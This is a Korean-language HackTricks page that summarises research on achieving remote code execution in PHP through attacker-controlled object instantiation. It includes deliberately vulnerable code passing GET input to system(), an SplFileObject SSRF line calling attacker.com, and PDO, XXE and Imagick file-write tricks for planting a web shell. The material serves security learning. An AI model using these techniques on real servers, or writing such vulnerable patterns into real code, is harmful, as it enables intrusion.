PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

이것은 기본적으로 https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/의 요약입니다.

소개

new $_GET["a"]($_GET["a"])와 같은 임의의 객체 생성은 원격 코드 실행(RCE)로 이어질 수 있습니다. 자세한 내용은 writeup에서 설명되어 있습니다. 이 문서는 RCE를 달성하기 위한 다양한 전략을 강조합니다.

사용자 정의 클래스 또는 Autoloading을 통한 RCE

syntax new $a($b)는 **$a**가 클래스 이름을 나타내고 **$b**가 생성자에 전달되는 첫 번째 인수인 객체를 인스턴스화하는 데 사용됩니다. 이러한 변수는 문자열 또는 배열일 수 있는 GET/POST와 같은 사용자 입력 또는 다른 유형으로 나타날 수 있는 JSON과 같은 곳에서 가져올 수 있습니다.

다음 코드 스니펫을 고려해보세요:

class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

이 경우에는 $aApp 또는 App2로 설정하고 $b를 시스템 명령어 (예: uname -a)로 설정하면 해당 명령어가 실행됩니다.

자동로드 함수는 직접 액세스할 수 있는 클래스가 없는 경우에 악용될 수 있습니다. 이러한 함수는 필요할 때 파일에서 클래스를 자동으로 로드하며 spl_autoload_register 또는 __autoload를 사용하여 정의됩니다.

spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

PHP 버전에 따라 자동로딩의 동작이 다르므로 RCE 가능성도 다양합니다.

내장 클래스를 통한 RCE

사용자 정의 클래스나 오토로더가 없는 경우에도 내장 PHP 클래스만으로도 RCE가 가능합니다. PHP 버전과 확장에 따라 이러한 클래스의 수는 100에서 200개 사이입니다. get_declared_classes()를 사용하여 이러한 클래스를 나열할 수 있습니다.

관심 있는 생성자는 reflection API를 통해 식별할 수 있으며, 다음 예제와 링크 https://3v4l.org/2JEGF에서 확인할 수 있습니다.

특정 메서드를 통한 RCE에는 다음이 포함됩니다:

SSRF + Phar 역직렬화

SplFileObject 클래스는 생성자를 통해 SSRF를 가능하게 하여 모든 URL에 연결할 수 있습니다:

new SplFileObject('http://attacker.com/');

SSRF는 PHP 8.0 이전 버전에서 Phar 프로토콜을 사용하여 역직렬화 공격을 유발할 수 있습니다.

PDOs 악용하기

PDO 클래스 생성자는 DSN 문자열을 통해 데이터베이스에 연결할 수 있으며, 이를 통해 파일 생성 또는 기타 상호작용이 가능합니다:

new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

PHP 버전 5.3.22 및 5.4.12까지의 버전은 SoapClientSimpleXMLElement 생성자를 통해 XXE 공격에 취약했습니다. 이는 libxml2의 버전에 따라 달렸습니다.

Imagick 확장을 통한 RCE

프로젝트의 종속성 분석에서 Imagick이 새로운 객체를 인스턴스화하여 명령 실행에 이용될 수 있다는 것을 발견했습니다. 이는 취약점을 악용할 수 있는 기회를 제공합니다.

VID 파서

VID 파서는 파일 시스템의 임의의 경로에 내용을 작성할 수 있는 기능을 갖고 있습니다. 이로 인해 PHP 셸을 웹에서 접근 가능한 디렉토리에 배치하여 원격 코드 실행 (RCE)을 달성할 수 있습니다.

VID 파서 + 파일 업로드

PHP는 업로드된 파일을 /tmp/phpXXXXXX에 임시로 저장한다는 것을 알 수 있습니다. Imagick의 VID 파서는 msl 프로토콜을 사용하여 파일 경로에 와일드카드를 처리할 수 있으므로 임시 파일을 선택한 위치로 전송할 수 있습니다. 이 방법은 파일 시스템 내에서 임의의 파일 작성을 달성하기 위한 추가적인 접근 방법을 제공합니다.

PHP 충돌 + 브루트 포스

원래의 설명서에 설명된 방법은 삭제 전에 서버 충돌을 유발하는 파일을 업로드하는 것입니다. 임시 파일의 이름을 브루트 포스하여 Imagick이 임의의 PHP 코드를 실행할 수 있게 됩니다. 그러나 이 기술은 오래된 ImageMagick 버전에서만 효과적이라는 것을 발견했습니다.

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

Last updated